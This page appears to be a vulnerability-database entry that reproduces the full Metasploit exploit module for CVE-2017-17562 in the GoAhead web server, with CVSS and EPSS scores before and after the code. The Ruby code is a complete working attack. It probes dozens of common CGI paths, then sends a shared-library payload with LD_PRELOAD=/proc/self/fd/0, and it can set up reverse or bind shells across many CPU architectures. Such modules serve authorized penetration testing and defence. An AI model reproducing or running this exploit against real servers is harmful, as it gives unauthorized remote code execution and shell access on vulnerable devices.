8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%
This module triggers an arbitrary shared library load vulnerability in GoAhead web server versions between 2.5 and that have the CGI module enabled.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in GoAhead web server versions between 2.5 and that have the CGI module
enabled.
},
'Author' =>
[
'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
'h00die', # Metasploit Module
'hdm', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-17562' ],
[ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
],
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic (Reverse Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_reverse_stub',
'ConnectionType' => 'reverse',
}
}
}
],
[ 'Automatic (Bind Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_bind_stub',
'ConnectionType' => 'bind'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
# PowerPC stubs are currently over the 16384 maximum POST size
# [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
# [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
# [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'SHELL' => '/bin/sh',
},
'Privileged' => false,
'DisclosureDate' => '2017-12-18', # June 9th, technically, via github commit.
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
])
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
# PowerPC stubs are currently over the 16384 maximum POST size
# ARCH_PPC => [ 'powerpc' ],
# ARCH_PPC64 => [ 'powerpc64' ],
# ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
# Default to a system() template
template_type = 'system'
# Handle reverse_tcp() templates
if target['ReverseStub']
template_type = 'reverse'
end
# Handle reverse_tcp() templates
if target['BindStub']
template_type = 'bind'
end
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that may have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
unless ::File.exist?(wrapper_path)
raise RuntimeError.new("Missing executable template at #{wrapper_path}")
end
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
if %W{reverse bind}.include?(template_type)
pidx = data.index("55555")
if pidx
data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
end
end
if 'reverse' == template_type
pidx = data.index("000.000.000.000")
if pidx
data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
end
end
vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
yield(data)
# Introduce a small delay for the payload to stage
Rex.sleep(0.50)
# Short-circuit once we have a session
return if session_created?
end
end
end
# Start the shell train
def exploit
# Find a valid CGI target
target_uri = find_target_cgi
return unless target_uri
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Trigger the vulnerability and run the payload
trigger_payload(target_uri, wrapped_payload)
return if session_created?
end
end
# Determine whether the target is exploitable
def check
# Find a valid CGI target
target_uri = find_target_cgi
unless target_uri
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Vulnerable
end
# Upload and LD_PRELOAD execute the shared library payload
def trigger_payload(target_uri, wrapped_payload)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri),
'vars_get' => {
'LD_PRELOAD' => '/proc/self/fd/0'
},
'data' => wrapped_payload
})
nil
end
# Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
def find_target_cgi
target_uris = []
common_dirs = %W^
/
/cgi-bin/
/cgi/
^
common_exts = ["", ".cgi"]
common_cgis = %W^
admin
apply
non-CA-rev
checkCookie
check_user
chn/liveView
cht/liveView
cnswebserver
config
configure/set_link_neg
configure/swports_adjust
eng/liveView
firmware
getCheckCode
get_status
getmac
getparam
guest/Login
home
htmlmgr
index
index/login
jscript
kvm
liveView
login
login.asp
login/login
login/login-page
login_mgr
luci
main
main-cgi
manage/login
menu
mlogin
netbinary
nobody/Captcha
nobody/VerifyCode
normal_userLogin
otgw
page
rulectl
service
set_new_config
sl_webviewer
ssi
status
sysconf
systemutil
t/out
top
unauth
upload
variable
wanstatu
webcm
webmain
webproc
webscr
webviewLogin
webviewLogin_m64
webviewer
welcome
cgitest
^
if datastore['TARGET_URI'].to_s.length > 0
target_uris << datastore['TARGET_URI']
end
common_dirs.each do |cgi_dir|
common_cgis.each do |cgi_path|
common_exts.each do |cgi_ext|
target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
end
end
end
print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")
target_uris.each do |uri|
if is_cgi_exploitable?(uri)
print_good("Exploitable CGI located at #{uri}")
return uri
end
end
print_error("No valid CGI endpoints identified")
return
end
# Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
def is_cgi_exploitable?(uri)
res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})
if res
vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
else
vprint_status("Request for #{uri} did not return a response")
end
!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
end
# This sometimes determines if the CGI module is enabled, but doesn't seem
# to return the error to the client in newer versions. Unused for now.
def is_cgi_enabled?
return true
res = send_request_cgi({'uri' => "/cgi-bin"})
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))
end
end
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%